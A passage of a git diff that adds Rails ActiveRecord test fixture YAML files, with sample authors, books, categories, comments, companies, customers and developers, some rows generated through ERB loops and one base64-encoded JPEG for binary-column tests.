diff --git a/activerecord/test/fixtures/author_favorites.yml b/activerecord/test/fixtures/author_favorites.yml
new file mode 100644
index 0000000..e81fdac
--- /dev/null
+++ b/activerecord/test/fixtures/author_favorites.yml
@@ -0,0 +1,4 @@
+david_mary:
+ id: 1
+ author_id: 1
+ favorite_author_id: 2
\ No newline at end of file
diff --git a/activerecord/test/fixtures/authors.yml b/activerecord/test/fixtures/authors.yml
new file mode 100644
index 0000000..832236a
--- /dev/null
+++ b/activerecord/test/fixtures/authors.yml
@@ -0,0 +1,15 @@
+david:
+ id: 1
+ name: David
+ author_address_id: 1
+ author_address_extra_id: 2
+ organization_id: No Such Agency
+ owned_essay_id: A Modest Proposal
+
+mary:
+ id: 2
+ name: Mary
+
+bob:
+ id: 3
+ name: Bob
diff --git a/activerecord/test/fixtures/binaries.yml b/activerecord/test/fixtures/binaries.yml
new file mode 100644
index 0000000..ec8f2fa
--- /dev/null
+++ b/activerecord/test/fixtures/binaries.yml
@@ -0,0 +1,133 @@
+flowers:
+ id: 1
+ data: !binary |-
+ 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
+ w+vWq0iscQwxQroiUIvkKsRZQBKAJQBKAJQB/9k=
diff --git a/activerecord/test/fixtures/books.yml b/activerecord/test/fixtures/books.yml
new file mode 100644
index 0000000..fb48645
--- /dev/null
+++ b/activerecord/test/fixtures/books.yml
@@ -0,0 +1,9 @@
+awdr:
+ author_id: 1
+ id: 1
+ name: "Agile Web Development with Rails"
+
+rfr:
+ author_id: 1
+ id: 2
+ name: "Ruby for Rails"
diff --git a/activerecord/test/fixtures/cars.yml b/activerecord/test/fixtures/cars.yml
new file mode 100644
index 0000000..b4c748a
--- /dev/null
+++ b/activerecord/test/fixtures/cars.yml
@@ -0,0 +1,9 @@
+honda:
+ id: 1
+ name: honda
+ engines_count: 0
+
+zyke:
+ id: 2
+ name: zyke
+ engines_count: 0
diff --git a/activerecord/test/fixtures/categories.yml b/activerecord/test/fixtures/categories.yml
new file mode 100644
index 0000000..3e75e73
--- /dev/null
+++ b/activerecord/test/fixtures/categories.yml
@@ -0,0 +1,19 @@
+general:
+ id: 1
+ name: General
+ type: Category
+
+technology:
+ id: 2
+ name: Technology
+ type: Category
+
+sti_test:
+ id: 3
+ name: Special category
+ type: SpecialCategory
+
+cooking:
+ id: 4
+ name: Cooking
+ type: Category
diff --git a/activerecord/test/fixtures/categories/special_categories.yml b/activerecord/test/fixtures/categories/special_categories.yml
new file mode 100644
index 0000000..517fc8f
--- /dev/null
+++ b/activerecord/test/fixtures/categories/special_categories.yml
@@ -0,0 +1,9 @@
+sub_special_1:
+ id: 100
+ name: A special category in a subdir file
+ type: SpecialCategory
+
+sub_special_2:
+ id: 101
+ name: Another special category
+ type: SpecialCategory
diff --git a/activerecord/test/fixtures/categories/subsubdir/arbitrary_filename.yml b/activerecord/test/fixtures/categories/subsubdir/arbitrary_filename.yml
new file mode 100644
index 0000000..389a04a
--- /dev/null
+++ b/activerecord/test/fixtures/categories/subsubdir/arbitrary_filename.yml
@@ -0,0 +1,4 @@
+sub_special_3:
+ id: 102
+ name: A special category in an arbitrarily named subsubdir file
+ type: SpecialCategory
diff --git a/activerecord/test/fixtures/categories_ordered.yml b/activerecord/test/fixtures/categories_ordered.yml
new file mode 100644
index 0000000..294a636
--- /dev/null
+++ b/activerecord/test/fixtures/categories_ordered.yml
@@ -0,0 +1,7 @@
+--- !omap
+<% 100.times do |i| %>
+- fixture_no_<%= i %>:
+ id: <%= i %>
+ name: <%= "Category #{i}" %>
+ type: Category
+<% end %>
diff --git a/activerecord/test/fixtures/categories_posts.yml b/activerecord/test/fixtures/categories_posts.yml
new file mode 100644
index 0000000..c6f0d88
--- /dev/null
+++ b/activerecord/test/fixtures/categories_posts.yml
@@ -0,0 +1,31 @@
+general_welcome:
+ category_id: 1
+ post_id: 1
+
+technology_welcome:
+ category_id: 2
+ post_id: 1
+
+general_thinking:
+ category_id: 1
+ post_id: 2
+
+general_sti_habtm:
+ category_id: 1
+ post_id: 6
+
+sti_test_sti_habtm:
+ category_id: 3
+ post_id: 6
+
+general_hello:
+ category_id: 1
+ post_id: 4
+
+general_misc_by_bob:
+ category_id: 1
+ post_id: 8
+
+cooking_misc_by_bob:
+ category_id: 4
+ post_id: 8
diff --git a/activerecord/test/fixtures/categorizations.yml b/activerecord/test/fixtures/categorizations.yml
new file mode 100644
index 0000000..62e5bd1
--- /dev/null
+++ b/activerecord/test/fixtures/categorizations.yml
@@ -0,0 +1,23 @@
+david_welcome_general:
+ id: 1
+ author_id: 1
+ post_id: 1
+ category_id: 1
+
+mary_thinking_sti:
+ id: 2
+ author_id: 2
+ post_id: 2
+ category_id: 3
+
+mary_thinking_general:
+ id: 3
+ author_id: 2
+ post_id: 2
+ category_id: 1
+
+bob_misc_by_bob_technology:
+ id: 4
+ author_id: 3
+ post_id: 8
+ category_id: 2
diff --git a/activerecord/test/fixtures/clubs.yml b/activerecord/test/fixtures/clubs.yml
new file mode 100644
index 0000000..82e439e
--- /dev/null
+++ b/activerecord/test/fixtures/clubs.yml
@@ -0,0 +1,8 @@
+boring_club:
+ name: Banana appreciation society
+ category_id: 1
+moustache_club:
+ name: Moustache and Eyebrow Fancier Club
+crazy_club:
+ name: Skull and bones
+ category_id: 2
diff --git a/activerecord/test/fixtures/collections.yml b/activerecord/test/fixtures/collections.yml
new file mode 100644
index 0000000..ad0fd26
--- /dev/null
+++ b/activerecord/test/fixtures/collections.yml
@@ -0,0 +1,3 @@
+collection_1:
+ id: 1
+ name: Collection
diff --git a/activerecord/test/fixtures/colleges.yml b/activerecord/test/fixtures/colleges.yml
new file mode 100644
index 0000000..27591e0
--- /dev/null
+++ b/activerecord/test/fixtures/colleges.yml
@@ -0,0 +1,3 @@
+FIU:
+ id: 1
+ name: Florida International University
diff --git a/activerecord/test/fixtures/comments.yml b/activerecord/test/fixtures/comments.yml
new file mode 100644
index 0000000..ddbb823
--- /dev/null
+++ b/activerecord/test/fixtures/comments.yml
@@ -0,0 +1,65 @@
+greetings:
+ id: 1
+ post_id: 1
+ body: Thank you for the welcome
+ type: Comment
+
+more_greetings:
+ id: 2
+ post_id: 1
+ body: Thank you again for the welcome
+ type: Comment
+
+does_it_hurt:
+ id: 3
+ post_id: 2
+ body: Don't think too hard
+ type: SpecialComment
+
+eager_sti_on_associations_vs_comment:
+ id: 5
+ post_id: 4
+ body: Very Special type
+ type: VerySpecialComment
+
+eager_sti_on_associations_s_comment1:
+ id: 6
+ post_id: 4
+ body: Special type
+ type: SpecialComment
+
+eager_sti_on_associations_s_comment2:
+ id: 7
+ post_id: 4
+ body: Special type 2
+ type: SpecialComment
+
+eager_sti_on_associations_comment:
+ id: 8
+ post_id: 4
+ body: Normal type
+ type: Comment
+
+check_eager_sti_on_associations:
+ id: 9
+ post_id: 5
+ body: Normal type
+ type: Comment
+
+check_eager_sti_on_associations2:
+ id: 10
+ post_id: 5
+ body: Special Type
+ type: SpecialComment
+
+eager_other_comment1:
+ id: 11
+ post_id: 7
+ body: go crazy
+ type: SpecialComment
+
+sub_special_comment:
+ id: 12
+ post_id: 4
+ body: Sub special comment
+ type: SubSpecialComment
diff --git a/activerecord/test/fixtures/companies.yml b/activerecord/test/fixtures/companies.yml
new file mode 100644
index 0000000..0766e92
--- /dev/null
+++ b/activerecord/test/fixtures/companies.yml
@@ -0,0 +1,59 @@
+first_client:
+ id: 2
+ type: Client
+ firm_id: 1
+ client_of: 2
+ name: Summit
+ firm_name: 37signals
+
+first_firm:
+ id: 1
+ type: Firm
+ name: 37signals
+ firm_id: 1
+
+second_client:
+ id: 3
+ type: Client
+ firm_id: 1
+ client_of: 1
+ name: Microsoft
+
+another_firm:
+ id: 4
+ type: Firm
+ name: Flamboyant Software
+
+another_client:
+ id: 5
+ type: Client
+ firm_id: 4
+ client_of: 4
+ name: Ex Nihilo
+
+a_third_client:
+ id: 10
+ type: Client
+ firm_id: 4
+ client_of: 4
+ name: Ex Nihilo Part Deux
+
+rails_core:
+ id: 6
+ name: RailsCore
+ type: DependentFirm
+
+leetsoft:
+ id: 7
+ name: Leetsoft
+ client_of: 6
+
+jadedpixel:
+ id: 8
+ name: Jadedpixel
+ client_of: 6
+
+odegy:
+ id: 9
+ name: Odegy
+ type: ExclusivelyDependentFirm
diff --git a/activerecord/test/fixtures/computers.yml b/activerecord/test/fixtures/computers.yml
new file mode 100644
index 0000000..daf969d
--- /dev/null
+++ b/activerecord/test/fixtures/computers.yml
@@ -0,0 +1,4 @@
+workstation:
+ id: 1
+ developer: 1
+ extendedWarranty: 1
diff --git a/activerecord/test/fixtures/courses.yml b/activerecord/test/fixtures/courses.yml
new file mode 100644
index 0000000..de3a4a9
--- /dev/null
+++ b/activerecord/test/fixtures/courses.yml
@@ -0,0 +1,8 @@
+ruby:
+ id: 1
+ name: Ruby Development
+ college: FIU
+
+java:
+ id: 2
+ name: Java Development
diff --git a/activerecord/test/fixtures/customers.yml b/activerecord/test/fixtures/customers.yml
new file mode 100644
index 0000000..0399ff8
--- /dev/null
+++ b/activerecord/test/fixtures/customers.yml
@@ -0,0 +1,26 @@
+david:
+ id: 1
+ name: David
+ balance: 50
+ address_street: Funny Street
+ address_city: Scary Town
+ address_country: Loony Land
+ gps_location: 35.544623640962634x-105.9309951055148
+
+zaphod:
+ id: 2
+ name: Zaphod
+ balance: 62
+ address_street: Avenue Road
+ address_city: Hamlet Town
+ address_country: Nation Land
+ gps_location: NULL
+
+barney:
+ id: 3
+ name: Barney Gumble
+ balance: 1
+ address_street: Quiet Road
+ address_city: Peaceful Town
+ address_country: Tranquil Land
+ gps_location: NULL
\ No newline at end of file
diff --git a/activerecord/test/fixtures/dashboards.yml b/activerecord/test/fixtures/dashboards.yml
new file mode 100644
index 0000000..a4c7e0d
--- /dev/null
+++ b/activerecord/test/fixtures/dashboards.yml
@@ -0,0 +1,6 @@
+cool_first:
+ dashboard_id: d1
+ name: my_dashboard
+second:
+ dashboard_id: d2
+ name: second
diff --git a/activerecord/test/fixtures/developers.yml b/activerecord/test/fixtures/developers.yml
new file mode 100644
index 0000000..3656564
--- /dev/null
+++ b/activerecord/test/fixtures/developers.yml
@@ -0,0 +1,21 @@
+david:
+ id: 1
+ name: David
+ salary: 80000
+
+jamis:
+ id: 2
+ name: Jamis
+ salary: 150000
+
+<% (3..10).each do |digit| %>
+dev_<%= digit %>:
+ id: <%= digit %>
+ name: fixture_<%= digit %>
+ salary: 100000
+<% end %>
+
+poor_jamis:
+ id: 11
+ name: Jamis
+ salary: 9000
\ No newline at end of file
diff --git a/activerecord/test/fixtures/developers_projects.yml b/activerecord/test/fixtures/developers_projects.yml
new file mode 100644
index 0000000..5729587
--- /dev/null
+++ b/activerecord/test/fixtures/developers_projects.yml
@@ -0,0 +1,17 @@
+david_action_controller:
+ developer_id: 1
+ project_id: 2
+ joined_on: 2004-10-10
+
+david_active_record:
+ developer_id: 1
+ project_id: 1
+ joined_on: 2004-10-10
+
+jamis_active_record:
+ developer_id: 2
+ project_id: 1
+
+poor_jamis_active_record:
+ developer_id: 11
+ project_id: 1
\ No newline at end of file
diff --git a/activerecord/test/fixtures/dog_lovers.yml b/activerecord/test/fixtures/dog_lovers.yml
new file mode 100644
index 0000000..3f4c6c9
--- /dev/null
+++ b/activerecord/test/fixtures/dog_lovers.yml
@@ -0,0 +1,7 @@
+david:
+ id: 1
+ bred_dogs_count: 0
+ trained_dogs_count: 1
+joanna:
+ id: 2
+ dogs_count: 1
diff --git a/activerecord/test/fixtures/dogs.yml b/activerecord/test/fixtures/dogs.yml
new file mode 100644
index 0000000..b5eb2c7
--- /dev/null
+++ b/activerecord/test/fixtures/dogs.yml
@@ -0,0 +1,4 @@
+sophie:
+ id: 1
+ trainer_id: 1
+ dog_lover_id: 2
diff --git a/activerecord/test/fixtures/edges.yml b/activerecord/test/fixtures/edges.yml
new file mode 100644
index 0000000..b804f7b
--- /dev/null
+++ b/activerecord/test/fixtures/edges.yml
@@ -0,0 +1,5 @@
+<% (1..4).each do |id| %>
+edge_<%= id %>:
+ source_id: <%= id %>
+ sink_id: <%= id + 1 %>
+<% end %>
diff --git a/activerecord/test/fixtures/entrants.yml b/activerecord/test/fixtures/entrants.yml
new file mode 100644
index 0000000..86f0108
--- /dev/null
+++ b/activerecord/test/fixtures/entrants.yml
@@ -0,0 +1,14 @@
+first:
+ id: 1
+ course_id: 1
+ name: Ruby Developer
+
+second:
+ id: 2
+ course_id: 1
+ name: Ruby Guru
+
+third:
+ id: 3
+ course_id: 2
+ name: Java Lover
diff --git a/activerecord/test/fixtures/essays.yml b/activerecord/test/fixtures/essays.yml
new file mode 100644
index 0000000..9d15d82
--- /dev/null
+++ b/activerecord/test/fixtures/essays.yml
@@ -0,0 +1,6 @@
+david_modest_proposal:
+ name: A Modest Proposal
+ writer_type: Author
+ writer_id: David
+ category_id: General
+ author_id: David
diff --git a/activerecord/test/fixtures/faces.yml b/activerecord/test/fixtures/faces.yml
new file mode 100644
index 0000000..c8e4a34
--- /dev/null
+++ b/activerecord/test/fixtures/faces.yml
@@ -0,0 +1,11 @@
+trusting:
+ description: trusting
+ man: gordon
+
+weather_beaten:
+ description: weather beaten
+ man: steve
+
+confused:
+ description: confused
+ polymorphic_man: gordon (Man)
diff --git a/activerecord/test/fixtures/fk_test_has_fk.yml b/activerecord/test/fixtures/fk_test_has_fk.yml
new file mode 100644
index 0000000..67d914e
--- /dev/null
+++ b/activerecord/test/fixtures/fk_test_has_fk.yml
@@ -0,0 +1,3 @@
+first:
+ id: 1
+ fk_id: 1
diff --git a/activerecord/test/fixtures/fk_test_has_pk.yml b/activerecord/test/fixtures/fk_test_has_pk.yml
new file mode 100644
index 0000000..c939521
--- /dev/null
+++ b/activerecord/test/fixtures/fk_test_has_pk.yml
@@ -0,0 +1,2 @@
+first:
+ id: 1
\ No newline at end of file
diff --git a/activerecord/test/fixtures/friendships.yml b/activerecord/test/fixtures/friendships.yml
new file mode 100644
index 0000000..ae0abe0
--- /dev/null
+++ b/activerecord/test/fixtures/friendships.yml
@@ -0,0 +1,4 @@
+Connection 1:
+ id: 1
+ friend_id: 1
+ follower_id: 2
diff --git a/activerecord/test/fixtures/funny_jokes.yml b/activerecord/test/fixtures/funny_jokes.yml
new file mode 100644
index 0000000..d47c4a6
--- /dev/null
+++ b/activerecord/test/fixtures/funny_jokes.yml
